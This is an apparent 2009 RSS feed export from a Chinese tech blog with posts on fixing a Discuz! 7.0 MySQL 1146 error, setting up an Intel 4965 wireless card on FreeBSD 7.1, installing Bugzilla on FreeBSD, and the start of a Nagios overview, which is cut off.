		<title>今天解决 discuz7.0打开不正常并报错1146的问题。</title>
		<link>http://www.evanjiang.net.cn/archives/834.html</link>
		<comments>http://www.evanjiang.net.cn/archives/834.html#comments</comments>
		<pubDate>Thu, 19 Mar 2009 11:39:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[discuz7.0 Errno.: 1146 错误]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=834</guid>
		<description><![CDATA[<p>今天，因研习代码需要，需要安装搭建一个uchome环境，于是，就在http://www.dicuz.net里的下载频道下载uchome安装包。俺图方便，不要再过多时间去处理环境的问题，就直接下载UCenter1.5.0/UCenter Home1.5/Discuz! 7.0 集成安装包下载 ，下得是这个版本：简体中文GBK（UC1.5_UCH1.5_DZ7.0_SC_GBK.zip）不知为什么，下载好几个版本，在ubuntu 用unzip -x 来解压，总是报错。无法正确解压，俺以为是版本的问题，就在google搜了搜，搜到chinaz.com也有下载，就下载china.com所提供的集成安装包，在ubuntu 下直接解压。还是报错。真是奇怪。俺想是不是操作平台的缘故。就切换系统到winxp ,在winxp 下解压同样的集成安装包，发现一点问题都没有，很顺利，真是奇怪。难道是ubuntu8.10的问题？俺不管，就在winxp 直接传到服务器空间，然后安装这集成安装包，设文件权限那不用说，在mysql数据库后台建表，建账号，也不用说。做完这些后，就直接安装这集成安装包，安装时，很顺利，输入数据库名，账户，密码，然后切换到下一个页面，继续安装，很快就安装完，安装很顺利，没任何报错。安装完，就删掉整个install目录，然后进入uchome 首页，随便点击一下，没报错，但点击到discuz时。也就是尝试訪問bbs时，就报以下错误：
Discuz! info: MySQL Query Error</p>
<p>Time: 2009-3-19 10:54am
Script: /uchome/bbs/index.php</p>
<p>SQL: SELECT type FROM [Table]usergroups WHERE groupid=&#8217;7&#8242;
Error: Table &#8216;uchome.[Table]usergroups&#8217; doesn&#8217;t exist
Errno.: 1146</p>
<p>Similar error report has beed dispatched to administrator before.</p>
<p>到 http://faq.comsenz.com 搜索此错误的解决方案</p>
<p>凭直觉与经验，俺是认为discuz7.0所用的表损坏或者建立不正确，但为何不正确，并且因什么情况不正确，但与无法知道，但现在要解决DISCUZ7.0报错的问题，就只能死马当活马医！俺打开mysql后台数据库，发觉discuz7.0所在bbs表好像没什么异常，但报错信息，是明确说有表损坏或者不存在。那只能重建discuz7.0有关的表。那俺找到bbs 所在目录下面的discuz.sql, 打开discuz.sql，将里面的建表语句，复制，然后直接在phpmyadmin 里运行。运行没提示报错。这就说明sql运行正确。 那俺再刷新，提示cache没建好，需要再次刷新。那俺再刷新。再打开，终于可以正常看到discuz7的首页面。最后，这个问题得以解决。</p>
<p>事后，总结一上这个问题，是集成包没弄好？，还是什么原因？。为什么系统集成包的安装过程会没有正常运转discuz.sql这个建表语句。</p>
]]></description>
			<content:encoded><![CDATA[<p>今天，因研习代码需要，需要安装搭建一个uchome环境，于是，就在http://www.dicuz.net里的下载频道下载uchome安装包。俺图方便，不要再过多时间去处理环境的问题，就直接下载UCenter1.5.0/UCenter Home1.5/Discuz! 7.0 集成安装包下载 ，下得是这个版本：简体中文GBK（UC1.5_UCH1.5_DZ7.0_SC_GBK.zip）不知为什么，下载好几个版本，在ubuntu 用unzip -x 来解压，总是报错。无法正确解压，俺以为是版本的问题，就在google搜了搜，搜到chinaz.com也有下载，就下载china.com所提供的集成安装包，在ubuntu 下直接解压。还是报错。真是奇怪。俺想是不是操作平台的缘故。就切换系统到winxp ,在winxp 下解压同样的集成安装包，发现一点问题都没有，很顺利，真是奇怪。难道是ubuntu8.10的问题？俺不管，就在winxp 直接传到服务器空间，然后安装这集成安装包，设文件权限那不用说，在mysql数据库后台建表，建账号，也不用说。做完这些后，就直接安装这集成安装包，安装时，很顺利，输入数据库名，账户，密码，然后切换到下一个页面，继续安装，很快就安装完，安装很顺利，没任何报错。安装完，就删掉整个install目录，然后进入uchome 首页，随便点击一下，没报错，但点击到discuz时。也就是尝试訪問bbs时，就报以下错误：<br />
Discuz! info: MySQL Query Error</p>
<p>Time: 2009-3-19 10:54am<br />
Script: /uchome/bbs/index.php</p>
<p>SQL: SELECT type FROM [Table]usergroups WHERE groupid=&#8217;7&#8242;<br />
Error: Table &#8216;uchome.[Table]usergroups&#8217; doesn&#8217;t exist<br />
Errno.: 1146</p>
<p>Similar error report has beed dispatched to administrator before.</p>
<p>到 http://faq.comsenz.com 搜索此错误的解决方案</p>
<p>凭直觉与经验，俺是认为discuz7.0所用的表损坏或者建立不正确，但为何不正确，并且因什么情况不正确，但与无法知道，但现在要解决DISCUZ7.0报错的问题，就只能死马当活马医！俺打开mysql后台数据库，发觉discuz7.0所在bbs表好像没什么异常，但报错信息，是明确说有表损坏或者不存在。那只能重建discuz7.0有关的表。那俺找到bbs 所在目录下面的discuz.sql, 打开discuz.sql，将里面的建表语句，复制，然后直接在phpmyadmin 里运行。运行没提示报错。这就说明sql运行正确。 那俺再刷新，提示cache没建好，需要再次刷新。那俺再刷新。再打开，终于可以正常看到discuz7的首页面。最后，这个问题得以解决。</p>
<p>事后，总结一上这个问题，是集成包没弄好？，还是什么原因？。为什么系统集成包的安装过程会没有正常运转discuz.sql这个建表语句。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/834.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD 7.1 下使用 Intel 4965无线网卡上网的方法</title>
		<link>http://www.evanjiang.net.cn/archives/815.html</link>
		<comments>http://www.evanjiang.net.cn/archives/815.html#comments</comments>
		<pubDate>Tue, 17 Mar 2009 15:01:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Freebsd 无线上网]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=815</guid>
		<description><![CDATA[<p>1. 参考网址
http://www.mavetju.org/mail/view &#8230; ware&#038;id=2730092  介绍iwn使用的文章</p>
<p>trying iwn driver from
http://perforce.freebsd.org/file &#8230; ot/user/benjsc/iwn/</p>
<p>http://perforce.freebsd.org/depo &#8230; /iwn&#038;HIDEDEL=NO iwn代码所在地</p>
<p>http://blog.disarm.jp/?p=51 日文的文档</p>
<p>2. 代码下载
首先通过P4fetch.rb下载这个ruby脚本
在运行过程中出现找不到 hpricot 模块</p>
<p>[axlrose@mybsd iwn] $ pkgsearch hpricot
/usr/ports/www/rubygem-hpricot</p>
<p>function pkg-get() {
    #因为习惯于普通用户模式下操作，所以比较常用sudo命令来操作
    sudo sh -c &#8220;PKGDIR=/usr/mypkgs/ PACKAGEROOT=ftp://ftp2.jp.freebsd.org pkg_add -rvK $@&#8221;
}</p>
<p>pkg-get  rubygem-hpricot  下载并保存到 /usr/mypkgs目录
使用正宗方式 pkg_add -r rubygem-hpricot

./P4fetch.rb &#8211;depot //depot/user/benjsc/ &#8211;repo iwn </p>
<p>3. 代码编译</p>
<p># cd iwn/iwn
# [...]]]></description>
			<content:encoded><![CDATA[<p>1. 参考网址<br />
http://www.mavetju.org/mail/view &#8230; ware&#038;id=2730092  介绍iwn使用的文章</p>
<p>trying iwn driver from<br />
http://perforce.freebsd.org/file &#8230; ot/user/benjsc/iwn/</p>
<p>http://perforce.freebsd.org/depo &#8230; /iwn&#038;HIDEDEL=NO iwn代码所在地</p>
<p>http://blog.disarm.jp/?p=51 日文的文档</p>
<p>2. 代码下载<br />
首先通过P4fetch.rb下载这个ruby脚本<br />
在运行过程中出现找不到 hpricot 模块</p>
<p>[axlrose@mybsd iwn] $ pkgsearch hpricot<br />
/usr/ports/www/rubygem-hpricot</p>
<p>function pkg-get() {<br />
    #因为习惯于普通用户模式下操作，所以比较常用sudo命令来操作<br />
    sudo sh -c &#8220;PKGDIR=/usr/mypkgs/ PACKAGEROOT=ftp://ftp2.jp.freebsd.org pkg_add -rvK $@&#8221;<br />
}</p>
<p>pkg-get  rubygem-hpricot  下载并保存到 /usr/mypkgs目录<br />
使用正宗方式 pkg_add -r rubygem-hpricot<br />
<span id="more-815"></span><br />
./P4fetch.rb &#8211;depot //depot/user/benjsc/ &#8211;repo iwn </p>
<p>3. 代码编译</p>
<p># cd iwn/iwn<br />
# cd sys/modules/iwnfw<br />
# make<br />
# make install</p>
<p>cd sys/modules/iwn<br />
make<br />
mkae install</p>
<p>4. 安装后的加载与配置</p>
<p>/boot/loader.conf<br />
legal.intel_iwn.license_ack=1</p>
<p>kenv legal.intel_iwn.license_ack=1<br />
kldload if_iwn</p>
<p>安装后的测试</p>
<p>[axlrose@mybsd ~] $ pciconf -lv|grep 4965AGN<br />
    device     = &#8216;Intel 4965AGN Intel  Wireless WiFi Link 4965AGN&#8217;</p>
<p>[axlrose@mybsd ~] $ sudo dmesg |grep iwn|head -n 10<br />
iwn0: error, INTR=82000000<SW_ERROR,RX_INTR> STATUS=0&#215;10000<br />
iwn0: iwn_config: could not set power mode, error 35<br />
iwn0: link state changed to UP<br />
iwn0: link state changed to DOWN<br />
iwn0: device timeout<br />
iwn0: link state changed to UP<br />
arp: 192.168.1.1 is on em0 but got reply from 00:1c:10:55:0a:c9 on iwn0<br />
arp: 192.168.1.1 is on em0 but got reply from 00:1c:10:55:0a:c9 on iwn0<br />
arp: 192.168.1.1 is on em0 but got reply from 00:1c:10:55:0a:c9 on iwn0<br />
arp: 192.168.1.1 is on em0 but got reply from 00:1c:10:55:0a:c9 on iwn0</p>
<p>[axlrose@mybsd ~] $ sudo ifconfig<br />
em0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500<br />
        options=19b<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM,TSO4><br />
        ether 00:1e:37:d0:d9:5d<br />
        inet 192.168.2.10 netmask 0xffffff00 broadcast 192.168.2.255<br />
        media: Ethernet autoselect<br />
        status: no carrier<br />
iwn0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500<br />
        ether 00:1f:3b:94:50:a9<br />
        inet 192.168.1.3 netmask 0xffffff00 broadcast 192.168.1.255<br />
        inet 192.168.1.8 netmask 0xffffff00 broadcast 192.168.1.255<br />
        media: IEEE 802.11 Wireless Ethernet autoselect (OFDM/54Mbps)<br />
        status: associated<br />
        ssid home channel 6 (2437 Mhz 11g) bssid 00:1c:10:55:0a:cb<br />
        authmode WPA2/802.11i privacy ON deftxkey UNDEF TKIP 3:128-bit<br />
        txpower 50 bmiss 10 scanvalid 60 protmode CTS roaming MANUAL<br />
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384<br />
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0&#215;3<br />
        inet6 ::1 prefixlen 128<br />
        inet 127.0.0.1 netmask 0xff000000</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
以下是我的/boot/loader.conf 与无线相关的模块加载配置</p>
<p>if_iwn_load=&#8221;YES&#8221;<br />
legal.intel_iwn.license_ack=1<br />
wlan_wep_load=&#8221;YES&#8221;<br />
wlan_ccmp_load=&#8221;YES&#8221;<br />
wlan_tkip_load=&#8221;YES&#8221;<br />
wlan_scan_ap_load=&#8221;YES&#8221;<br />
wlan_scan_sta_load=&#8221;YES&#8221;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
5. 使用 wpa_supplicant 的配置方法<br />
以下是我的连接无线网络的脚本, 是跟据以前linux下的脚本修改的，目前路由那块还在改进，以下方法有问题</p>
<p>$ cat connet_home.sh<br />
#!/usr/local/bin/bash<br />
#!/bin/bash<br />
#===============================================================================<br />
WLAN_DEV=&#8221;iwn0&#8243;<br />
LAN_DEV=em0<br />
IP=192.168.1.8<br />
GW=192.168.1.1<br />
ROUTE=192.168.1.1<br />
BASE_DIR=&#8221;.&#8221;<br />
CFG_FILE=wpa_supplicant_home_cfg.conf<br />
#${BASE_DIR}/del_eth0_route.sh</p>
<p>sudo ifconfig $LAN_DEV down<br />
#sudo ip r d  default dev eth0<br />
sudo route del default<br />
sudo route del 192.168.1.0/24<br />
sudo route flush<br />
sudo ifconfig ${WALN_DEV} down<br />
sudo ifconfig ${WALN_DEV} up</p>
<p>if [ `pidof wpa_supplicant|wc -w` -eq 0 ] ; then<br />
    echo &#8220;wpa no running&#8221;<br />
else<br />
    sudo killall -9 wpa_supplicant<br />
fi</p>
<p>sudo wpa_supplicant -dd -i ${WLAN_DEV} -c ${BASE_DIR}/$CFG_FILE -B<br />
sleep 3<br />
#sudo ifconfig wlan0 192.168.1.8<br />
#sudo dhclient $WLAN_DEV<br />
sudo ifconfig $WLAN_DEV $IP<br />
#sudo ifconfig $WLAN_DEV:1 192.168.1.9<br />
#sudo ip r a default via $GW dev $WLAN_DEV<br />
sudo ifconfig $LAN_DEV 192.168.2.2   # <<<< 故意改的ip为另一个网段的地址<br />
sudo route add default $ROUTE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>以下是配置文件</p>
<p>[axlrose@mybsd iwn] $ cat wpa_supplicant_home_cfg.conf<br />
# This is a network block that connects to any unsecured access point.<br />
# We give it a low priority so any defined blocks are preferred.<br />
ctrl_interface=/var/run/wpa_supplicant<br />
ctrl_interface_group=0<br />
ap_scan=1</p>
<p>eapol_version=1<br />
#ap_scan=1<br />
fast_reauth=1</p>
<p>network={<br />
ssid=&#8221;home&#8221;  <<<&#8212;- ssid<br />
#psk=&#8221;密码明码&#8221;<br />
psk=b5971ceb09ef6ca002accbfbe9b6742f8716677d2479bc0c8affef5d0b10fdb0 ##加密后的密码数据<br />
}</p>
<p>[axlrose@mybsd iwn] $ uname -a<br />
FreeBSD mybsd.mybsd.org 7.1-RELEASE FreeBSD 7.1-RELEASE #0: Thu Jan  1 14:37:25 UTC 2009    root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i38</p>
<p>附录：<br />
在rc.conf中添加<br />
ifconfig_iwn0=&#8221;192.168.1.xx/24 WPA&#8221;<br />
ifconfig_em0=&#8221;192.168.1.xx/24&#8243;</p>
<p>启用无线可以写成：<br />
/etc/rc.d/netif start<br />
ifconfig em0 delete<br />
/etc/rc.d/routing start</p>
<p>另外  /media/winc 写成 /media/cwin/ 这样在csh下比较容易补全。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/815.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bugzilla ON FreeBSD  HOWTO</title>
		<link>http://www.evanjiang.net.cn/archives/811.html</link>
		<comments>http://www.evanjiang.net.cn/archives/811.html#comments</comments>
		<pubDate>Sat, 14 Mar 2009 12:14:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Bugzilla ON FreeBSD  HOWTO]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=811</guid>
		<description><![CDATA[<p>Bugzilla ON FreeBSD  HOWTO
前言
Bugzilla作为一个产品缺陷的记录及跟踪工具，它能够为你建立一个完善的Bug跟踪体系，包括报告Bug、查询Bug记录并产生报表、处理解决、管理员系统初始化和设置四部分.主要特点为:
基于Web方式，安装简单、运行方便快捷、管理安全。
有利于缺陷的清楚传达。本系统使用数据库进行管理，提供全面详尽的报告输入项，产生标准化的Bug报告。
系统灵活，强大的可配置能力。
自动发送Email,通知相关人员。根据设定的不同责任人，自动发送最新的动态信息，有效的帮助测试人员和开发人员进行沟通。 </p>
<p>由于目前网上资料要么是在Linux及Windows 系统下,要么属于Source Code安装,故才有此篇文档.该文档仅为 Bugailla On FreeBSD 的安装文档,并没有涉及到具体开发人员的使用操作,如果可能的话,将在今后继续更新此文档,如果你在安装中有什么问题,可以Mail 我,我将尽我能力来回复.
软件及平台
FreeBSD 为了充分体现FreeBSD的价值,主要软件安装均为PORTS安装 </p>
<p>apache_1.3.28
mod_ssl-2.8.15-1.3.28
mysql 3.23.58
bugzilla 2.16.3
bugzilla-2.16.1-cn-0.91.tar.gz
目的
建立一套程序缺陷记录及跟踪系统,用于程序开发人员对程序BUG进行记录,分析,跟踪.

Apache安装及配置</p>
<p>#cd /usr/ports/www/apache13-modssl
#make install clean
#vi /usr/local/etc/apache/httpd.conf //修改ScriptAlias 的cgi-bin 参数,以及.cgi format的AddHandler
ScriptAlias /cgi-bin/ &#8220;/usr/local/www/data/bugzilla/&#8221; </p>
<p>#
# &#8220;/usr/local/www/cgi-bin&#8221; should be changed to whatever your ScriptAliased
# CGI directory exists, if you have that configured.
#</p>
<p>AllowOverride None
Options ExecCGI //此处切记要打开 ExecCGI 参数
Order allow,deny
Allow from all</p>
<p>#AddHandler cgi-script .cgi
MySQL安装及配置
#cd /usr/ports/databases/mysql323-server [...]]]></description>
			<content:encoded><![CDATA[<p>Bugzilla ON FreeBSD  HOWTO<br />
前言<br />
Bugzilla作为一个产品缺陷的记录及跟踪工具，它能够为你建立一个完善的Bug跟踪体系，包括报告Bug、查询Bug记录并产生报表、处理解决、管理员系统初始化和设置四部分.主要特点为:<br />
基于Web方式，安装简单、运行方便快捷、管理安全。<br />
有利于缺陷的清楚传达。本系统使用数据库进行管理，提供全面详尽的报告输入项，产生标准化的Bug报告。<br />
系统灵活，强大的可配置能力。<br />
自动发送Email,通知相关人员。根据设定的不同责任人，自动发送最新的动态信息，有效的帮助测试人员和开发人员进行沟通。 </p>
<p>由于目前网上资料要么是在Linux及Windows 系统下,要么属于Source Code安装,故才有此篇文档.该文档仅为 Bugailla On FreeBSD 的安装文档,并没有涉及到具体开发人员的使用操作,如果可能的话,将在今后继续更新此文档,如果你在安装中有什么问题,可以Mail 我,我将尽我能力来回复.<br />
软件及平台<br />
FreeBSD 为了充分体现FreeBSD的价值,主要软件安装均为PORTS安装 </p>
<p>apache_1.3.28<br />
mod_ssl-2.8.15-1.3.28<br />
mysql 3.23.58<br />
bugzilla 2.16.3<br />
bugzilla-2.16.1-cn-0.91.tar.gz<br />
目的<br />
建立一套程序缺陷记录及跟踪系统,用于程序开发人员对程序BUG进行记录,分析,跟踪.<br />
<span id="more-811"></span><br />
Apache安装及配置</p>
<p>#cd /usr/ports/www/apache13-modssl<br />
#make install clean<br />
#vi /usr/local/etc/apache/httpd.conf //修改ScriptAlias 的cgi-bin 参数,以及.cgi format的AddHandler<br />
ScriptAlias /cgi-bin/ &#8220;/usr/local/www/data/bugzilla/&#8221; </p>
<p>#<br />
# &#8220;/usr/local/www/cgi-bin&#8221; should be changed to whatever your ScriptAliased<br />
# CGI directory exists, if you have that configured.<br />
#</p>
<p>AllowOverride None<br />
Options ExecCGI //此处切记要打开 ExecCGI 参数<br />
Order allow,deny<br />
Allow from all</p>
<p>#AddHandler cgi-script .cgi<br />
MySQL安装及配置<br />
#cd /usr/ports/databases/mysql323-server #make install clean #/usr/local/etc/rc.d/mysql-server.sh start #mysql -uroot -p </p>
<p>>GRANT SELECT,INSERT,UPDATE,DELETE,INDEX, ALTER,CREATE,DROP,REFERENCES ON bugtrack.* TO buguser@localhost IDENTIFIED BY &#8217;123456&#8242;; //添加建立Bugzilla Database的用户及权限<br />
>FLUSH PRIVILEGES;<br />
Bugzilla安装及配置<br />
#cd /usr/ports/devel/bugzilla/ #make WITH_BUG_EXPORT_AND_IMPORT=y WITH_BUG_MAILING_MODULES=y install clean //支持以XML格式导入或导出BUG DATABASES,支持PERL MAIL MODULE. </p>
<p>注:<br />
WITH_BUG_MAILING_MODULES install perl modules required for bug mailing support (contrib/bug_email.pl) interface<br />
WITH_BUG_EXPORT_AND_IMPORT install perl modules required for bug export/import feature to move bugs to or from other bugzilla installations</p>
<p>#cd /usr/local/www/data-dist/bugzilla<br />
#./checksetup.pl //第一次运行checksetup.pl,生成localconfig文件<br />
#vi localconfig //修改localconfig,文件中的MySQL参数</p>
<p>#<br />
# How to access the SQL database:<br />
#<br />
$db_host = &#8220;localhost&#8221;; # where is the database?<br />
$db_port = 3306; # which port to use<br />
$db_name = &#8220;bugtrack&#8221;; # name of the MySQL database<br />
$db_user = &#8220;buguser&#8221;; # user to attach to the MySQL database </p>
<p>#<br />
# Enter your database password here. It&#8217;s normally advisable to specify<br />
# a password for your bugzilla database user.<br />
# If you use apostrophe (&#8216;) or a backslash (\) in your password, you&#8217;ll<br />
# need to escape it by preceding it with a \ character. (\&#8217;) or (\\)<br />
#<br />
$db_pass = &#8217;123456&#8242;;</p>
<p>#cd /usr/local/www/data-dist/bugzilla<br />
#./checksetup.pl //再次运行checksetup.pl,检查Bugzilla 的安装配置,以及导入Bugailla所需数据库.</p>
<p>Checking perl modules &#8230;<br />
Checking for AppConfig (v1.52) ok: found v1.55<br />
Checking for CGI::Carp (any) ok: found v1.13<br />
Checking for Data::Dumper (any) ok: found v2.101<br />
Checking for Date::Parse (any) ok: found v2.27<br />
Checking for DBI (v1.13) ok: found v1.37<br />
Checking for DBD::mysql (v1.2209) ok: found v2.0419<br />
Checking for File::Spec (v0.82) ok: found v0.82<br />
Checking for File::Temp (any) ok: found v0.12<br />
Checking for Template (v2.07) ok: found v2.08<br />
Checking for Text::Wrap (v2001.0131) ok: found v2001.0929<br />
Checking for CGI::Carp (any) ok: found v1.13</p>
<p>The following Perl modules are optional:<br />
Checking for GD (v1.19) ok: found v2.07<br />
Checking for Chart::Base (v0.99) ok: found v2.2<br />
Checking for XML::Parser (any) ok: found v2.34</p>
<p>Checking user setup &#8230;<br />
Creating data directory &#8230;<br />
Creating graphs directory&#8230;<br />
Creating index.html&#8230;<br />
Removing existing compiled templates &#8230;<br />
Precompiling templates &#8230;<br />
Checking for MySQL Server (v3.22.5) ok: found v3.23.58<br />
Creating database bugtrack &#8230;</p>
<p>Creating table groups &#8230;<br />
Creating table longdescs &#8230;<br />
Creating table milestones &#8230;<br />
Creating table namedqueries &#8230;<br />
Creating table profiles &#8230;<br />
Creating table fielddefs &#8230;<br />
Creating table logincookies &#8230;<br />
Creating table components &#8230;<br />
Creating table cc &#8230;<br />
Creating table keyworddefs &#8230;<br />
Creating table dependencies &#8230;<br />
Creating table shadowlog &#8230;<br />
Creating table duplicates &#8230;<br />
Creating table profiles_activity &#8230;<br />
Creating table votes &#8230;<br />
Creating table attachstatuses &#8230;<br />
Creating table bugs &#8230;<br />
Creating table tokens &#8230;<br />
Creating table products &#8230;<br />
Creating table watch &#8230;<br />
Creating table keywords &#8230;<br />
Creating table versions &#8230;<br />
Creating table attachstatusdefs &#8230;<br />
Creating table attachments &#8230;<br />
Creating table bugs_activity &#8230;<br />
Adding group tweakparams &#8230;<br />
Adding group editusers &#8230;<br />
Adding group creategroups &#8230;<br />
Adding group editcomponents &#8230;<br />
Adding group editkeywords &#8230;<br />
Adding group editbugs &#8230;<br />
Adding group canconfirm &#8230;</p>
<p>Looks like we don&#8217;t have an administrator set up yet. Either this is your<br />
first time using Bugzilla, or your administrator&#8217;s privs might have accidently<br />
gotten deleted at some point.<br />
Enter the e-mail address of the administrator: tonnyomAThotmail.com //输入login email<br />
You entered &#8216;tonnyomAThotmail.com&#8217;. Is this correct? [Y/n] Y<br />
Enter the real name of the administrator: lele<br />
Enter a password for the administrator account: //输入login password<br />
Please retype the password to verify:<br />
&#8216;tonnyomAThotmail.com&#8217; is now set up as the administrator account.<br />
Creating initial dummy product &#8216;TestProduct&#8217; &#8230;<br />
Populating duplicates table&#8230;<br />
Creating duplicates directory&#8230;<br />
Reminder: Bugzilla now requires version 8.7 or later of sendmail. //end</p>
<p>#cd /usr/local/www<br />
#chown www:nogroup data-dist</p>
<p>#cd /usr/local/www/data-dist<br />
#chown www:nogroup bugzilla<br />
Bugzilla汉化<br />
#cd ~/appz/ #fetch http://optusnet.dl.sourceforge.net/sourceforge/bugzilla-cn/bugzilla-2.16.1-cn-0.91.tar.gz #tar zxvf bugzilla-2.16.1-cn-0.91.tar.gz<br />
注: 该版本,汉化效果不是很好,在其网站中,还有更新的版本,大家可以去自己尝试一下那个版本更好.<br />
#cd /usr/local/www/data-dist/bugzilla/template #cp -Rpf ~/appz/template/cn ./ #vi /usr/local/www/data-dist/bugzilla/globals.pl //修改INCLUDE_PATH为汉化文件路径 </p>
<p>INCLUDE_PATH => &#8220;template/en/custom:template/en/default&#8221; ,<br />
==> INCLUDE_PATH => &#8220;template/cn/custom:template/cn/default&#8221; ,</p>
<p>#cd /usr/local/www/data-dist/bugzilla<br />
#fetch http://www.bugzilla.org/img/bugzilla.jpg ; mv bugzilla.jpg bug.jpg<br />
#cp ant.jpg ant1.jpg</p>
<p>#cd /usr/local/www/data-dist/bugzilla<br />
#find ./ -type d -exec chown www:nogroup {} \; //设置web server属主对该目录下所有目录的权限<br />
#find ./ -type f -exec chown www:nogroup {} \; //设置web server属主对该目录下所有文件的权限<br />
测试<br />
/usr/local/etc/rc.d/apache.sh start</p>
<p>IE登录:</p>
<p>http://freebsd-ip/bugzilla/index.cgi</p>
<p>Login Name: tonnyomAThotmail.com<br />
Login Password: 123456<br />
参考<br />
http://www.cpan.org CPAN Module </p>
<p>http://www.bugzilla.org/docs/2.16/txt/Bugzilla-Guide.txt Bugzilla Guide</p>
<p>http://prdownloads.sourceforge.net/bugzilla-cn/ Bugzilla-CN Tool</p>
<p>http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/ FreeBSD Handbook</p>
<p>http://www.uml.org.cn/Test/test19.htm 测试跟踪工具Bugzilla介绍</p>
<p>http://www.douzhe.com/docs/linux/1672.html 关于BUGZILLA的说明和安装<br />
版本修订0.1</p>
<p>1,如何利用系统自带sendmail来发信件?<br />
#vi /etc/rc.conf //编辑rc.conf文件<br />
sendmail_enable=&#8221;YES&#8221;<br />
#cd /usr/lib //Bugziila默认调用sendmail的路径为 /usr/lib #ln -s /usr/sbin/sendmail sendmail #tail /var/log/maillog //查看以下LOG,可以检查信件已经正常发出 </p>
<p>Aug 27 12:11:31 freebsd5 sendmail[406]: i7RCBJTu000406: from=www, size=277, class=0, nrcpts=1, msgid=<200408271211.i7RCBJTu000406@freebsd5.com>, relay=www@localhost<br />
Aug 27 12:13:05 freebsd5 sm-mta[408]: i7RCBVeQ000408: from=, size=525, class=0, nrcpts=1, msgid=<200408271211.i7RCBJTu000406@freebsd5.com>, proto=ESMTP, daemon=MTA, relay=localhost.com [127.0.0.1]<br />
Aug 27 12:13:05 freebsd5 sendmail[406]: i7RCBJTu000406: to=tonnyomAThotmail.com, ctladdr=www (80/80), delay=00:01:46, xdelay=00:01:34, mailer=relay, pri=30078, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (i7RCBVeQ000408 Message accepted for delivery)<br />
Aug 27 12:18:17 freebsd5 sm-mta[411]: i7RCBVeQ000408: timeout waiting for input from mx1.hotmail.com. during client greeting<br />
Aug 27 12:18:26 freebsd5 sm-mta[411]: i7RCBVeQ000408: to=, ctladdr= (80/80), delay=00:05:22, xdelay=00:05:21, mailer=esmtp, pri=30326, relay=mx1.hotmail.com. [64.4.50.99], dsn=2.0.0, stat=Sent (OK 1093580390)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/811.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[FreeBSD] 用nagios来监控网络服务器和网络服务</title>
		<link>http://www.evanjiang.net.cn/archives/744.html</link>
		<comments>http://www.evanjiang.net.cn/archives/744.html#comments</comments>
		<pubDate>Fri, 06 Mar 2009 09:47:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[[FreeBSD]  用nagios来 监控 网络 服务器和网络服务]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=744</guid>
		<description><![CDATA[<p>nagios可以对服务器进行全面的监控，包括服务（apache、mysql、ntp、dns、disk、qmail和sshd等等）的状态，服务器的状态（up、down等等）。它是一个完全GPL协议的开源软件包，包含有nagios主程序和它的各个插件，配置非常灵活，可以监视的项目很多，可以自定义shell脚本进行监控服务，非常适合大型网络。</p>
<p>nagios的包含主动监控和被动监控。
主动检查是通过监控中心的主机发出请求，让运行在远程主机上的nrpe守护进程收集信息，然后报告它，它通过web接口把数据显示在页面上。
它的工作原理如下：</p>
<p>被动监控是当远程被监控主机处于防火墙之内的时候，只有远程主机可以访问到监控中心，防火墙之内可以设置另外一个监控中心，远程监控中心的nagios收集服务器信息以后，和nsca报告，由naca客户端报告naca的服务器端，然后报告监控中心的nagios，通过web接口显示监控结果。</p>
<p>nagios的功能非常强大，[url]http://www.nagios.org/[/url]是它的窝，只有e文、法文和日文，没有中文

我现在引用它的一段文字进行总结一下到底什么是nagios：
What Is This?
什么是nagios？
Nagios® is a system and network monitoring application. It watches hosts and services that you specify, alerting you when things go bad and when they get better.
Nagios was originally designed to run under Linux, although it should work under most other unices as well.
Some of the many features of Nagios® include:
Monitoring of network [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #000000;">nagios可以对服务器进行全面的监控，包括服务（apache、mysql、ntp、dns、disk、qmail和sshd等等）的状态，服务器的状态（up、down等等）。它是一个完全GPL协议的开源软件包，包含有nagios主程序和它的各个插件，配置非常灵活，可以监视的项目很多，可以自定义shell脚本进行监控服务，非常适合大型网络。</span></p>
